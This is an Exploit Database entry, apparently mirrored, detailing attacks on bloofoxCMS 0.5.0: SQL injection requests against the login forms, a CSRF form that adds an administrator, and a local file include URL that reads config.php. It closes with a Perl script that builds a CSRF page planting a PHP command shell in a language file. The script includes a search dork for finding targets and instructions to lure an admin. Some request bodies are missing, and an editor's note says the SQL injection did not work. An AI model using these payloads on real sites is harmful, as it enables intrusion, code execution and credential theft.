BloofoxCMS 0.5.0 – Multiple Vulnerabilities

Exploit Database
111 阅读

作者： AtT4CKxT3rR0r1ST

日期： 2014-01-17
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/31015/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

bloofoxCMS V0.5.0 - Multiple Vulnerabilties

===================================================================

####################################################################

.:. Author : AtT4CKxT3rR0r1ST

.:. Contact: [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]

.:. Home : http://www.iphobos.com/blog/

.:. Script : http://www.bloofox.com/download.21.html

####################################################################

[1] Multiple Sql Injection

==========================

I. http://localhost/bloofox/index.php?login=true

POST /bloofox/index.php?login=true HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101

Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/bloofox/index.php?login=true

Cookie:

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

II. http://localhost/bloofox/admin/index.php

POST /bloofox/admin/index.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101

Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/bloofox/admin/

Cookie:

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

action=login&password=IPHOBOS&username=\[SQL INJECTION]

[2] Cross Site Request Forgery

===============================

[Add Admin]

<html>

<form method="POST" name="form0" action="

http://localhost/admin/index.php?mode=user&action=new">

</form>

</body>

</html>

[3] Local File Include

=======================

VULNERABILITY

##############

/admin/include/inc_settings_editor.php (line 56-69)

// show file

if(isset($_POST["fileurl"])) {

$fileurl = $_POST["fileurl"];

}

if(isset($_GET["fileurl"])) {

$fileurl = "../".$_GET["fileurl"];

}

if(file_exists($fileurl)) {

$filelength = filesize($fileurl);

$readfile = fopen($fileurl,"r");

$file = fread($readfile,$filelength);

fclose($readfile);

}

#########

EXPLOIT

#########

http://localhost/admin/index.php?mode=settings&page=editor&fileurl=config.php

####################################################################

#!/usr/bin/perl

########################################################################

# Title : bloofoxCMS V0.5.0 - Csrf inject php code

# Author : AtT4CKxT3rR0r1ST

# Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]

# Home : http://www.iphobos.com/blog/

# Script : http://www.bloofox.com/download.21.html

# Version : 0.5.0

# Dork : "Powered by bloofoxCMS"

# Vulnerability In Languages Editor

# Note : Can Edit Any File Php In Script Just Change Value[Director/file]

In Fileurl

use LWP::UserAgent;

use LWP::Simple;

system("cls");

print "|----------------------------------------------------|\n";

print "| bloofoxCMS V0.5.0 - Csrf inject php code |\n";

print "| Coded by : AtT4CKxT3rR0r1ST |\n";

print "| GREATS TO MY LOVE |\n";

print "|----------------------------------------------------|\n";

sleep(2);

print "\nInsert Target:";

$h = <STDIN>;

chomp $h;

$html = '<html>

<form method="POST" name="form0"

action="'.$h.'/admin/index.php?mode=settings&page=editor">

<input type="hidden" name="file" value=" <?php system($_GET[cmd]); ?> "

</form>

</body>

</html>';

sleep(1);

print "Createing Done ...\n";

open(XSS , '>>csrf.html');

print XSS $html;

close(XSS);

print "Now Send csrf.html To Admin \n";

sleep(1);

print "To Exploit [http://site/languages/deutsch.php?cmd= COMMAND] \n";

# Exploit-DB Note: Actually couldn't get the SQLi to trigger the CSRF does work.